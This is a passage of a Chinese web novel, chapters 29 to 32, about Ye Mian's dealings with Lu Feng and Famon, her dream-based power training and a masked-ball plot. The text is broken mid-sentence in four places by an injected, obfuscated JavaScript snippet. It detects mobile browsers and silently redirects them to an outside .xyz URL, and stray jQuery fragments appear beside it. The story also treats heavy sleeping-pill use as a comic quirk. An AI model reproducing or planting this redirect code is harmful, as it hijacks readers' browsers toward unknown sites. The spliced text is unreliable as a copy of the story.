陆风从她坚定的动作里读出了她的决心。 他翻身躺到旁边,叶眠自然地松开了怼脸的双手,并且替他脸皮幻痛一秒。 “我们可以聊天睡觉,但还是那句话,我没法不明不白地接受你,”叶眠探身过去,拽了被子盖住他的胸膛,“你喝得不少,睡吧。” 陆风仰面朝上。 他躺得位置靠下,个子又高,脚几乎伸到床板之外。 叶眠在等他的反应,没想到他“啧”了一声,又来掀她的被子。 她耐心耗尽了:“陆风。” 小腿发力踹去,被他眼疾手快地接住,叶眠绞过身体迫使他松劲,另一脚踢向陆风的眼睛。后者被迫退避,但表情却没变:“叶眠,我们要在床上打架吗?” “没人能强迫我做不想做的事,”她脚腕受限,一手掀翻被子往陆风头上蒙去,“谁都不行。” “停,”陆风用异能压下沦为武器的被子,“我不是要强迫你。” 叶眠面色冷淡:“最后一次机会,说。” 陆风看着她一双平静到没有爱也没有厌的眼睛,终于肯定——叶绵绵真的不在了,至少眼下这个叶眠,不会为他妥协。 “我们切磋,你赢了,所以听你的,”他也收起了刚刚那股赖皮劲,“不做,但你要不要试试。” 舌尖舔过微开的牙关露出一点猩红,陆风承认,他心里也没底,但这种事情上的低头,在他看来可以划归情趣的范畴——所以他原意试试。 他眼神暗得像黑火,在暖黄的夜灯下,那双棕色的瞳孔里有晴欲,有占有,有不甘,也有跃跃欲试。 叶眠想了想,问:“你干净吗?” 陆风眼皮一抽:“叶眠,不要羞辱我。” “我不问才是羞辱。”她坚持。 舌面跟犬齿的揉擦带来一点痛意,陆风的骄傲不允许他再继续了。 他松开她的脚腕,眼看白皙皮肤上浮现一点红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈舒白继续说:“为了当上情报部指挥使,他几年做出了大量假身份,但由于下属投靠了其他人,陆风长期佩戴劣质伪瞳,对眼球造成了无法挽回的二次伤害。” 他叹了口气:“他见不得强光,不管是日光还是大瓦数灯光,所以你看他平日里总是戴墨镜,哪怕是室内,都不是为了耍帅。” 叶眠若有所思:“那很惨了。” 不过,这个特性似乎很适合利用一下,在不同的场合。 沈舒白拿捏不好她会不会上报法蒙,只是略微点头。 抛开作为法蒙朋友的部分,他确实算得上陆风的半个朋友。 那天陆风拉着他喝酒讲了些真心话,所以他捡起说客的职责:“叶女士,对于你流落C监的经历我感到十分惋惜,陆指挥十分担心你回来后的状态。” 叶眠疑惑地问:“我一直不明白,既然有情——你肯定知道——他为什么不直接救我出来呢?” 沈舒白有些难以启齿的样子:“换届对陆指挥来说,太重要了。” “有多重要,”叶眠拉近椅子,上身前倾,“跟他的眼睛第一次受伤有关吗?” 沈舒白讶于她的敏锐,却不想叶眠的下一句更令人心惊:“指挥使之间的关系并不好,对么?” 29. 第 29 章 “确实,”沈舒白的咖啡到了,他往里丢了两块糖,一边搅,一边组织语言,“关系不好到剑拔弩张,陆风不能让自己再在情报部耗三年,他想要真正的权力,能掌握军队的权力。他要报仇。” 叶眠疑惑:“那我呢?他要报他的仇,我给他打工,就活该去死了?” 沈舒白没出声,闷头喝咖啡,他确实不知道该怎么帮陆风洗。 “不拿人当人罢了,”叶眠轻飘飘地说,“蒋仕临也是他的仇人吧?我听命于他为他报仇,但他用完就丢,啧,狼心狗肺。” “说到这个,我倒要感谢那位沈医生,”叶眠笑了笑,话头一转,低着头用手指搓过咖啡杯,“我能活到今天,全靠C监他出手相救。当时我术后失忆无从下手,阴差阳错,获得的唯一信息提示竟然也来自于此人。” 沈舒白开始有点坐立难安了,他觉得自己最好当哑巴,又觉得这话实在太抬举他…… “想必,都是医者本分,”他说完又觉得嗓子发干,“我们这行的人是这样的。” “是吗?”叶眠笑眯眯的,一句话说一半,留他原地忐忑揣度半天。 “叶女士还有什么别的问题吗?”沈舒白有点受不了。 “嗯?我在等你带路去做检查呀。” 叶眠好整以暇地看着他一愣,又恍然,眉间一点恼意,生动得很。 “抱歉,我理解有误,我们现在就走。” 叶眠拿了顶浅绿色的假发戴在头上,两人便离开了咖啡厅。 沈舒白见状多问了一句:“头上刀口恢复得如何?除了失忆之外,有没有隐痛之类的后遗症?” 叶眠:“多梦算吗?或者,小沈医生知不知道,联盟境内哪个死星起过大火?” “多梦这个倒很难解释,死星起火的话,有,”沈舒白详尽地回答,“死星912,位于现在的帝国和联盟接壤带,十几年前起过一次邪火。联盟的调查结果显示A级异能者失控,总之,半个星球地表焦土化,300年内难以孕育新生命。” 叶眠不动声色地想,这倒是个收获,等回去上星网查些资料,或者有机会原地考察一番。 “很巧的是,当时陆风的父亲就在附近执行任务,”沈舒白领她搭上电梯,直奔他的研究室,“所以陆风本人可能会有些了解。” 叶眠直觉告诉自己,这里藏着很重要的信息,她心中记下,一边配合沈舒白抽血。 “关于在佩戴禁制环的条件下正常使用异能,这个问题对于普通异能者来说可能很难实现,但对你来说,”沈舒白想了想才继续说,“更难。” 叶眠“嗯”了一声。 “因为异能抵抗。只要带着四代环,这种抵抗就一直在发生,你身体里每时每刻都会有封锁抗体被激活,所以哪怕本来十五分钟的特效药能让人正常使用异能,你额外需要在这十五分钟内先顶住抵抗,然后才能发挥实力。” “就像技能读条?”叶眠立刻懂了。 “是的,需要读条,”沈舒白笑了下,“你试过解开禁制环的异能吗?” “别提了,”叶眠想起法蒙就想砂仁,“半个小时的自由只够我造出几根冰牙签的。” 沈舒白的表情明明白白:那你要这特效药也没用啊。 叶眠开始幻想时间:“如果我把异能练到S,是不是十分钟自由也能发挥出很高实力了?” 她以为沈舒白会笑她不自量力,没想到他认真地想了想:“如果正常水平到S级,那顶着抵抗出手或许真的可以达到A级水平,唯一的问题是需要苦练,且必须考虑到异能透支的风险。” “嗯嗯,嗯?”叶眠第一次听到这个风险,于是追问,“异能透支有什么后果?” “轻则暂时失灵,重则等级倒退。”沈舒白意有所指地看了一眼她脖子上的禁制环,“谨慎锻炼。” 叶眠回去的时候还在想,她这种梦里锻炼的,会有损于现实中的异能吗? 如果沈舒白说得没错,那她前三次梦里透支可不止一次两次了,但好像……也没什么妨碍效果? 梦里大火还有保护异能不受削减的好处啊。 叶眠想到这,理所当然地认了下来——谁家好人重生没有金手指的!她必须有! 不是很困,但叶眠实在是很想赶紧练异能,她鬼点子一堆,干脆买了两瓶安眠药,试图手动入睡。 不是随机出现吗? 之前三四天出现一次,那我一天睡三四觉呢? 于是陆风回来的时候,看到的就是叶眠手里空了半瓶的安眠药,人躺在床上,脸色苍白,人事不知。 他心里一紧,一手捏开她的下巴,没想到下一刻叶眠猛然睁眼,一脚踹向他小腹。 “不是……等等……” 你来我往地过了几招,陆风没用异能,挨了两拳才把话说全:“别打了!我什么都没想干!” 叶眠一只腿勾在他脖子上,如果下一句话不好听,她就要立刻使出一记裸绞。 “我睡得好好的,你要干什么?!” 陆风一口气差点没上来:“我以为你吃安眠药自杀!” 叶眠愣了一下,从他身上爬下来:“早说啊。” 她不确定陆风知不知道自己抗药性过人的事,心想万一是她重生带来的呢,干脆没提。 “你让我说了吗!”陆风眼露悲愤。 “自杀是我能干出来的事情吗!”叶眠理不直气也壮,“你也不想想。” 陆风抿了抿唇。 叶眠:? “如果是叶绵绵的话,是的。”陆风泄了气。 他在外面跑了好几天,也是一身风尘,没想到回家开门见喜,眼下直接情绪反扑。 “唉。” “收收怨夫味,陆指挥。”叶眠心想我在梦里练得好好的,你把我弄醒我还没叹气呢。 陆风完全意会了,他几乎是投降般地说:“你不分青红皂白打我一顿,我也没说啥啊。” 叶眠一手把他拉起来,自然地岔开话题:“这两天干什么去了,家都不回。” “德里克家族要迎回安娜和艾文的独子,作为唯一的继承人,这件事近期传得沸沸扬扬,”陆风扯下领带随手扔到旁边,“但是这位继承人先生捂得严严实实,实在是想不到他会是什么身份。” 德里克家族的名字曾经出现在陆峰的档案中,叶眠坐在床边,问:“德里克家族有什么特别需要注意的吗?” “没什么,”陆风云淡风轻地把话揭过,“顽固派的中流砥柱罢了,已入垂暮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16028975|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 叶眠说:“那这位年轻的继承人回归,岂不是正好补充了新鲜血液?” “是草包就算了,德里克的小辈里,混子不少。但能让他们族内老人都承认的继承人,多半是真的有点手段,我们最好先下手为强,”陆风顿了顿,“如果你异能恢复了就好了。” “又用得上我了,”叶眠半真半假地叹了口气,“陆指挥,你总让我想到一句话……” 陆风心知肯定不是什么好话,根本不接声,但叶眠自己独角戏也唱得开心:“从不质疑真心,但真心瞬息万变。” “我不觉得真心和工作是冲突,”陆风反驳说,“你说我把你当工具,但谁会喜欢上工具呢?” “喜欢也可以乱丢的话,这份喜欢似乎也不怎么珍贵。”叶眠站在旁边,一路看他脱掉衣服,露出精壮的上身。 赏心悦目的身体,可惜没洗澡。 所以不想碰。 陆风瞥她一眼,欲言又止,但到底没说什么,直接进了浴室。 叶眠迅速打开终端,感觉自己就像背着正宫找小三的坏蛋。 遇到困难睡大觉:“同事哥,江湖救急。” 白干全白干:“江湖救急三年来一次就行,姐,你是一周来三次啊[哭脸]。” 遇到困难睡大觉:“害,你瞧你,一点工作热情都没有。我就是想问问,之前给你发的文件记录里,你查没查到德里克?[笑脸]” 沈舒白拳头硬了。 白干全白干:“别催[微笑]。最近有别的事,我忙得脚不沾地,干脆把文件整个发给老大了。” 白干全白干:“要不我肢解帮你问问他呢?[微笑]。” 沈舒白气急败坏地打字,手速飙升,仿佛跟这虚拟键盘有什么深仇大恨一般。 他今天刚拿到叶眠的深度检测数据,一个一个数,比对着书上查,试图寻找某种合适的物质能正好起作用,查到晕字。结果这位姑奶奶上来一句救急,开口就是问别的事。 他还不能反抗:我还要给你打一份工吗! 叶眠摇了摇头:欸,年轻人,怎么火气这么大。 遇到困难睡大觉:“你打错了,‘直接’。” 沈舒白:滚啊! 遇到困难睡大觉:“别生气别生气,嗳,我就是提醒你一下,感觉陆风跟德里克可能有点关系在的。” 沈舒白压下火气,也是有点认命了。 白干全白干:“我知道啊。他在外面跑就是为了德里克继承人回归的事。” 遇到困难睡大觉:“不是说这个。我感觉我问到的时候,他回答慢了一点,感觉像是瞒了我点东西。我们俩应该,还挺知根知底的?” 白干全白干:“德里克一个顽固派大家族能跟反抗军扯上什么关系,我觉得怀疑陆风,不如怀疑法蒙。” 这人最近也忙得不行。整个首都星都在为了德里克继承人的事骚动,而他似乎做出取舍一般,听说整个人C监审判庭两头跑,时不时还失踪半天。 “法蒙是德里克继承人?那可就有意思了。”叶眠舔了舔嘴唇,感受到一点久违的兴奋。 顽固派的窝子里,出了一位革命党领袖。 这可不是简单的离心,而是一场彻底的背叛。 30. 第 30 章 梦里一睁眼,叶眠先打量了一番四周。 没见过,起名为出生点五号。 她原地坐下,先像技能前摇一样长叹一声,然后才启用异能,冰粒出现,悬浮在双手之上。 冰块像抽丝一般逐渐长大,直到开始心慌头晕,叶眠就停下,然后硬捱,过上半小时左右,恢复得差不多了,再重复这套动作。 枯燥乏味,但不得不坚持。得知法蒙就是德里克继承人之后,叶眠把两周后的舞会当成了刺杀的舞台。 法蒙态度尚可,宴会上势力错综复杂,连蒙面主题都在为她铺路,叶眠认为这是一个难得的机会,她想搏一把。 她抱着冰坐在地上,过了最初眼前发黑那几秒,低头一看,突然发觉已经比最一开始凝出的冰块大上一圈。 这么立竿见影吗?她有点惊讶,于是第二轮换成凝冰锥,正好作比较。 喜获六把初始冰锥,比第一次做梦的时候,整整多了一把。 冰锥夹在指头缝里,凉得手掌发僵。 进步很明显,甚至有点太明显了,叶眠若有所思。既然这么有效,她忍不住想到一个更好的训练方法——既然要力竭才能突破,那保持力竭不就好了? 直接去掉休息时间,透支自己,保持整个梦里都是用不出异能的状态。 叶眠大赞:真是太有操作了。 因为没有对照组,她根本想象不到,这种长时间力竭的做法在他人眼里是第一大忌。 真是做梦才能成功的训练方式,谁不知道练异能过犹不及?毕竟揠苗助长不可取,劳逸结合才是王道。 但叶眠不知道。 她不是做梦,她直接作弊。 - 又是一点没有划水地练了一夜,叶眠睁眼,疲惫地感觉自己又双叒叕通了个宵。 “昨晚没睡好?”陆风一只手撑着头,靠在她身边。 “你怎么没出门,”她伸手拿过那瓶安眠药,没看他一眼,“做噩梦了,现在我要继续睡了。” 陆风特意摆好姿势等了她十几分钟,甚至还理了头发、刮了胡子,结果喜获一个练了一晚上异能生无可恋准备继续睡觉的叶眠。 陆风眼看她闭上眼,眉毛一抽:这合理吗? 叶眠哪管陆风是怎么想的,天要下雨她要睡觉。 陆风盯着她侧脸五分钟,像是要把人盯出个洞来,结果就听着叶眠逐渐稳定的呼吸——她真又睡着了! 没办法,只能愤愤不平地起床,他有心闹出点动静把人吵醒,结果看到叶眠陷在枕头里的脑袋,脸色发白,眼底发青,确实是没睡好的样子。 陆风舔了舔牙龈,心想,算了。 等他一走,叶眠悄悄睁眼,瞪着天花板,心中槽多无口。 太热情了。 大清早的,勾引谁呢? 这是想让她从此君王不早朝吗,大胆! 叶眠默念:男色在旁,但正事要紧,正事要紧。 - 之后的几天,叶眠仗着自己抗药性是常人几倍,把安眠药当零食吃,每天24个小时里,有20多个小时在睡觉,只为了在梦里多压榨一下自己。 剩下时间,除了日常活动,就是亲切问候小沈医生环节。 遇到困难睡大觉:“小沈医生~” 沈舒白的通讯账号里,白干全白干终于得了闲,但沈医生这个号被迫承受了双倍的狂轰乱炸。 沈医生:“没有。” 遇到困难睡大觉:“我还没问呢[笑脸]。” 沈医生:“叶女士如果没什么事情做,可以多出去逛逛。” 遇到困难睡大觉:“没钱。我不工作,陆指挥不给我发钱。” 沈舒白:冷静。 ……忍一时越想越气。 他咬着牙,心道你上次不是用法蒙不发工资的借口从我这“预支”了两千块? 打了几个字又删掉,最后沈舒白还是决定沉默。 遇到困难睡大觉:“沈医生加油啊,还需要我做什么检查吗?随叫随到[笑脸]。” 沈舒白:忍! 陆风这边也觉得事态严重,担心叶眠是在监狱里给自己憋出了什么心理疾病,他甚至找了胖子,说叶眠最近状态太奇怪,每天睡不醒,拜托他去劝劝。 胖子无聊到长蘑菇,一听这话立刻感觉重任在肩。第二天上午就去敲门,把睡觉(练异能)的叶眠吵醒,她的脑袋出现在门后:“干嘛?” 胖子咽了咽口水:“怕你自杀。” 叶眠一想就明白了:“陆风找你当说客?” 胖子绞着手指:“主要,他说,你吃安眠药比吃饭还多,我怕你想不开。” 叶眠看他一脸真诚的疑惑,叹了口气,把人拉进房间。 胖子的注意力被陆风的套房装潢吸引:“哇,这画,作者还蛮有名的,是真迹吗?” “不知道,”叶眠拢着睡衣往沙发上一瘫,“陆风24小时监视这里,看上了也不能拿。” “噢,啊?我没准备拿啊?”胖子挠头。 ——是我想拿来着。 叶眠选择性忽略了他的问题:“总之,我最近睡得比较多,是因为我在长个子。” 胖子:“这样啊……啊?” 叶眠认真点头:“不用担心,我再长一个星期个子就好了。” 胖子:? 她一本正经地胡说一通,把胖子糊弄得忘了北东西南。他看叶眠精神不错,除了觉多之外好像也没什么值得注意的地方,放下心来也就没再追问。 等胖子一走,法蒙就发来消息。 法蒙:“下午来试礼服[定位]。” 叶眠:哦豁。 往上翻了翻,她发过几次消息,但法蒙回复全凭心情,她也懒得再自讨没趣,顺便死了线上勾搭线下反杀的心。 遇到困难睡大觉:“老板,路费[伸手]。” 法蒙刚签完文件,扫到终端这条消息,手头一顿,自动脑补了叶眠抬着头,眼睛瞪得微圆,伸手跟他要钱的模样。 啧。他有点想笑,又忍住。 叶眠的消息他次次都看,但不知道怎么回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16070644|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 复。 “感觉像是还俗的尼姑,长了一层青发茬,摸起来扎手。” “世界上根本没有好吃的饭。” “陆风真的很缠人。” 法蒙:啧,陆风。 他跟刘仁说:“给叶绵绵发工资,按党内规制来就行。” 刘仁百忙之中先应了一声,过了会儿才想起来,抬头张嘴就要问她应该归在哪一类里,结果看到自家上司手里握着笔,半天没动弹,明显在走神。 得,别问了,多嘴说不定还要挨骂。刘仁叹了口气,一丝不苟地按照规制开始给叶眠算工资。 法蒙斟酌了好一会儿,才重新给叶眠发了个下层区的坐标,离她不远:“我派人接你。” 叶眠摸了摸下巴,走神了一霎:陆指挥你这个基地,人家心里是门儿清啊。 下午,她准时到达了指定地点,被迫兼职司机的刘仁木着一张脸:“叶小姐,我是刘仁,请上车。” 叶眠今天戴了套绿色的假毛,远看像是一顶毛茸茸的绿帽子。她哼着歌,顺手跟陆指挥报备了一下行程,看得出来对方确实很忙,过了一阵才会了个“好”。 刘仁公事公办地说:“革命党作为议会党派,普通成员每年要交五千块会费。” 叶眠:“等下?我倒贴打工?” 刘仁设定好悬浮车的目的地,好声好气地解释:“您作为初级外勤有额外补助,标准是6000一个月,通勤费额外报销,之前您申请的装备会从补助预算中扣,所以这两个月到手数字大概不会很好看。” 叶眠:“不会太好看,是多不好看?” 刘仁避而不答:“毕竟我们党派资历太新,经济上需要考虑的地方太多,暂时不能给外勤划太高预算。您的定位也并非高风险前线,想必只要略施手段,陆指挥那边也能拿到不少,生活肯定不成问题。” 叶眠气笑了。 法蒙真是打的一手好算盘,当她在反抗军里cos陆指挥养的花瓶,实际上除了同事哥支援的那点资金,谁能想到现在她终端里只有几十块。 她憋着这口气,直到车子进了B环内,在一家“知名”的礼服定制店见到了法蒙。 刚想刺他两句,叶眠瞥到结账台上小字密密麻麻的定价表,个十百千万十万……她有了点新主意。 法蒙看到她的一头绿毛,眉头下意识一紧:“怎么戴的这种颜色。” 这种翠绿色,不得不让他想起自己亲手把叶眠送到陆风身边的事情,他甚至疑心叶眠是不是在故意讽刺,又立刻意识到自己情绪上的越界。 “不好看吗?多生机勃勃啊。”叶眠笑得像个小白花,手指勾住一缕假发,半生不熟地给法蒙抛了个媚眼。 刘仁:“……先生,人送到了,那我先走了。” 叶眠偏头冲他也笑了笑,不知为何,刘仁心里微寒。 法蒙没看到他俩的交锋,更不知道手下的人拿了他一句“按规制来”,就公事公办到给叶眠把工资一砍到底。 他轻咳一声,冲刘仁点点头,然后对叶眠说:“来。” 31. 第 31 章 “这几款是先生挑过的,小姐看看,更喜欢哪一条?” 五个立体投影的无面模特站在三人周围,五条大红色的裙子呈包夹之势,衬得叶眠一头荧光绿毛格外闪耀。 设计师感觉自己那根名叫“不许红配绿”的脑筋在尖叫。 “陆风有苛待你吗?”法蒙稍微弯腰,在她耳边说,眼神不自觉地在明显劣质的绿色发顶上徘徊。 叶眠注意力落在几条裙子上,心不在焉地答:“嗯,对。他自己的假发都是定制,我戴不了,也没钱买。” 她正好站在裙摆最大的那道投影前,考虑能不能让设计师把里面裙撑下挖空。 设计师有些骄傲地说:“这条是经典的复古风格,我们还原了其中的三十二层衬裙,真材实料,绝非外面那种糊弄裙撑。” 叶眠看他一眼,又看了看裙子。 真不能挖吗? 她想在裙子里藏装备。 法蒙低头离她太近,甚至能闻到假毛塑胶的味道。那股怪味挤进鼻子里,因为见面而加快的心跳嘎巴一下平了。 他克制地皱眉,站直,然后撤步,叶眠敏感地察觉了,莫名其妙地给了他一眼。 法蒙微微咬牙,对设计师说:“再给她做一顶假发。” 叶眠立刻补充:“绿色的,谢谢。” 法蒙忍了忍,没忍住,再次开口:“墨绿,深一点。” 叶眠:“太保守了,想出彩就要配色大胆一些。” 法蒙问:“你要红配绿吗?” 叶眠一脸无辜:“抱歉,我不知道你挑的礼服都是红色啊?毕竟你也没问过我喜欢什么款喜欢什么色,都独裁到这样了,还要我来一趟干嘛。” 法蒙略微一顿,叶眠怼完他就好像没事儿人一样,溜达到另一条裙子面前,伸手碰了下投影,结果裙摆上的饰品细节放大,吓了她一跳。 设计师看着法蒙阴沉沉的表情不敢说话,心中有点不好的预感。 果然,下一秒他就捏了捏眉心,说:“那你想要什么款式什么颜色?” 叶眠背对着他,眼里露出笑意,转头的时候眉毛挑着,语气兴致勃勃:“我就喜欢裙撑款,黑色怎么样?” 设计师张了张嘴,想说那这前面的方案都不要了吗? 法蒙却已经冷声答:“不要黑色。” 这种性质的舞会,穿一身黑像什么样子? 叶眠耸了耸肩,没出声,反正她的目的只有裙撑。 穿那么厚的裙子还怎么动手? 就要便宜裙撑! 设计师感觉自己心在滴血:“裙撑款容易显得廉价,小姐,我们……” 叶眠看向他,无害地质疑:“这不该是你们要处理的事情吗?都高级定制了,指定裙撑而已,做不了吗?” 法蒙视线投来,设计师下意识站直:“没问题,交给我们。” 叶眠赞许点头,然后走近,压着声音商量法蒙:“那黑色不行,你选呢?” 两人之间距离不过半人,他想起自己刚点名的假发颜色,说:“也墨绿色吧。” 叶眠学他对设计师说:“墨绿,深一点。” 设计师脑子里过了一下颜色,长长地叹了一口气:“好。” 难,但也不是做不出来。 “我们预算可以再拉高一些,别担心,”她伸手拉住法蒙的胳膊,稍微一贴,笑得眉毛不见眼睛:“是吧,先生?” 打工人何苦为难打工人,冤大头在这呢。 设计师肉眼可见的眼睛一亮,法蒙稍微一侧脸,就看到叶眠抬头撞上来的眼睛,跟他想象中伸手要钱的表情差不多。 像偶尔有求于人才肯贴贴的猫。 有种冲动催促着他,紧了紧手臂,把二人之间的最后一线距离掐灭。 “可以。”他嘴里说着,眼神却凝在叶眠脸上,想看她还要玩出点什么花来。 叶眠:这么大方,不能从指头缝里给我漏点? 她认真地跟他对视了一会儿,然后问:“为什么一直盯着我?终于发现我好看了?” 法蒙收回视线,语气微冷:“想太多了。” 他把胳膊从叶眠的手中抽出来,好像忘了刚刚把人拉近的是谁一样。 叶眠:男人心海底针。 测量仪扫过全身,所需的围度数据就录入了终端,设计师端着客户“涨预算”的口风,走起路来都虎虎生风,客客气气地给他们指完路就走了。 叶眠跟法蒙穿过作品展柜,两侧华丽的礼服似乎要晃花人的眼睛,虚空投影的铭牌上写着它们曾经出现的时间和场合。 “这个舞会,我除了需要人到场,还需要准备什么别的吗?”叶眠问。 “没了。”法蒙答。 “那主题是什么,都会有什么人,我能知道吗?”叶眠走在他身边,没有超前也没落后,刚刚好与他并排。 “陆风没跟你提过吗?”法蒙反问,“你们已经生疏到这样了?” 他还想说,不是说他缠人得紧吗? “噢,他最近确实在忙,”叶眠慢慢地说,“可能也在活动关系,想混进舞会吧?” 法蒙微不可察地勾了勾唇角:“你不怕他撞到我们一起么?” 叶眠惊讶地看向他:“为什么要怕,不是假面舞会吗?” “就算带着假面,如果是熟悉的人身形也很好认,”他避开她的目光,平视前方,“凭你们的关系,他不可能认不出你。” “法蒙先生,”叶眠有些困难地忍住笑,但眼角脸颊的肌肉还是微微向上,露出一点促狭的意味,“如果你真的不想让他来,说句话的事情而已啊,何必问我?” 这番话踩一捧一,叶眠说得毫无负担,但却成功地愉悦到了法蒙。 他眉头微微舒展,眼角弯了半个像素点:“你太小瞧他了,陆指挥的身份我们能掌握的不过三分之一。反抗军偌大一个基地立在那里,我们查到也不是一天两天,但还是不能动,为什么?” “因为地下四通八达,因为防御力量不明,”叶眠摊手,“因为不能打草惊蛇,因为要顺着陆风摸到反抗军大本营。” 法蒙讶于她的思路清晰,颔首说:“是这样。” 叶眠回忆了一下陆风的行事风格:“革命党和反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16086849|175367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抗军之间到底有什么深仇大恨?” “正统党派和在野杂军的分歧罢了。”法蒙想起沈传回来的文件,语气一顿。 “明明目标都是解决腐朽统治,没有一丝一毫合作的可能吗?”叶眠好奇地问,像是察觉不到这些问题已经触碰到压线的边缘。 法蒙停住脚步,她也立刻驻足。 “那你觉得,如果我们要合作,是该陆风向我低头,还是我向他低头呢?”他看过来,语气很平,却有种潜在的威迫。 叶眠抱住手臂,像是觉得冷一样搓了搓:“这是送命题吗?” 法蒙淡淡地说:“也许是呢。” 叶眠眼睛一动,抬了抬下巴:“那我答对的话,能把这个解开吗?” 禁制环在一天,她就被控制一天。 法蒙好像模糊地笑了下,那个笑容太淡太浅,因为少见,几乎无法被捕捉。 “不能。”他说完,抬步继续往前走。 “我还没回答呢,”叶眠心道狗东西,嘴上却抹了蜜一样,“当然是该陆风投降啦,毕竟只是在野杂军,哪能跟我们中将比。” 法蒙有两秒不知道这句话该怎么回。 他跟叶眠走到了门口,却在阳光能照到的那一线交界前停住脚步。 “我准备卸任了,”他说,像是无所谓一样,“专心整改C监,当个比萨利好点的典狱长,如何?” 叶眠一愣。 她知道法蒙作为继承人的身份,却对他的处境不太明了,只有些没什么依据的猜测。眼下他这副平静表面下暗潮汹涌的模样,却让她再次想起了以前的那些推理。 她问:“边境三师呢?” 法蒙眼神落在外面阳光照耀的地面上,光滑的大理石反射的光像是能刺伤人的眼睛。 “会有人去处理。”他说完,把后半句烂在心里。 ——生死有命。 叶眠看着他冷漠到肃杀的侧脸,感觉有些陌生。 她一个字一个字地问:“‘三师军人忠于联盟,无愧于心’?” “作为革命党领头人之一,”他说,“我忠于更好的联盟。” “那边境三师的军人呢?”叶眠问,“他们忠于谁?” 他们不知道自己的中将是革命党,他们心里的联盟自然不是法蒙的联盟。 法蒙深深地看向她,没有说话。 叶眠稍微闭了闭眼,懂了。 法蒙从外套里抽出自己的配枪,磕出弹匣:“上次说见面给你装备,今天太匆促,先拿着吧。” 叶眠还没从刚刚那种混杂失望和隐怒的心情中脱离出来,下意识接过枪,立刻想到这就花了自己两个月的工资,于是深仇大恨地搓了搓枪柄上的编号。 “一周后我下午派人接你,如果舞会上有什么环节需要你独自处理,别慌,端住了。” 法蒙撂下这句似是而非的提醒就推门而出,看都没看身后的叶眠一眼。 叶眠把弹匣卡进枪里,用眼神瞄住法蒙离开的背影。 微型暴缩弹,能杀掉法蒙吗? 她无端想起:她还不知道法蒙的异能。 32. 第 32 章 “法蒙的异能是什么?” 当晚,叶眠躺在床上,少见地没磕安眠药睡大觉。 “怎么又说他,不是休息吗?”陆风靠在床头,抓着叶眠的手,捏来捏去。 叶眠斜眼看他:“早晚的事。” “金属变形,”陆风一根根捏过她的手指肚,直到白皙肤色上浮出浅粉,“杀伤很强的异能。” 禁制环无疑属于金属。 叶眠抽出手:“睡觉。” 陆风:? “等我回来就为了问这么一句吗?”他低头,看着叶眠闭着眼睛没有表情的脸。 叶眠:人贵有自知之明。 谴责的视线太灼人,她睁眼:“那我是不是应该问问你,今天累不累?顺利不顺利?” 陆风一笑,眼睛就好像清澈的水潭荡起微波,叶眠不太懂他这种蛊人的劲儿怎么练出来的,但用脚趾头想,他对叶绵绵也不该这样。 ——不然叶绵绵就不该是单相思了。 “不累,挺顺利的。今天有个身份拿到了入场券,你要来做我的女伴吗?”他问。 叶眠睫毛抖了一下,在他察觉不对之前迅速调整:“你很需要这个女伴吗?” “嗯?”她加重语气,指了指自己发青的脑壳,又指了指脖子上显眼的禁制环,“如果特别需要,那我可以来,如果是一般需要,那我觉得可以不要。” 陆风脸色变得有些复杂,他摸了摸叶眠头顶,感觉像是在摸自己的胡茬子。 “不想去算了,我也就是想看看那位继承人到底是什么身份,”他对上叶眠清明的视线,熄了别的心,只道再等等,“你这个颅骨恢复得倒快,睡吧。” 很对,叶眠赞美地点点头:“晚安。” ——晚上就是用来睡觉的,什么睡前运动,不懂不懂。 但,她白天实在睡多了,此刻竟然有点失眠。 叶眠实在猜不到,法蒙是掌握信息太少还是有心放他一马,让陆风去晚宴,他就这么想被捉奸? 不对,双面间谍的事情,怎么能叫捉奸呢? 她往被子里缩了缩,代入法蒙的视角,只觉得这事儿莫名其妙,然而她越思考越觉得,他可能是故意的。 就像上次在天空之脊憋了口气要报复回来。 ……他有病吧?? - 第二天上午,叶眠准时地出现在沈舒白实验室门口。 “小沈医生~”她叫得亲亲热热,心里却是百般焦灼。 陆风不知道自己跟法蒙认识甚至熟悉的关系,法蒙主动造了晚宴的修罗场,万一把陆风惹急了,遭罪的还是她自己。 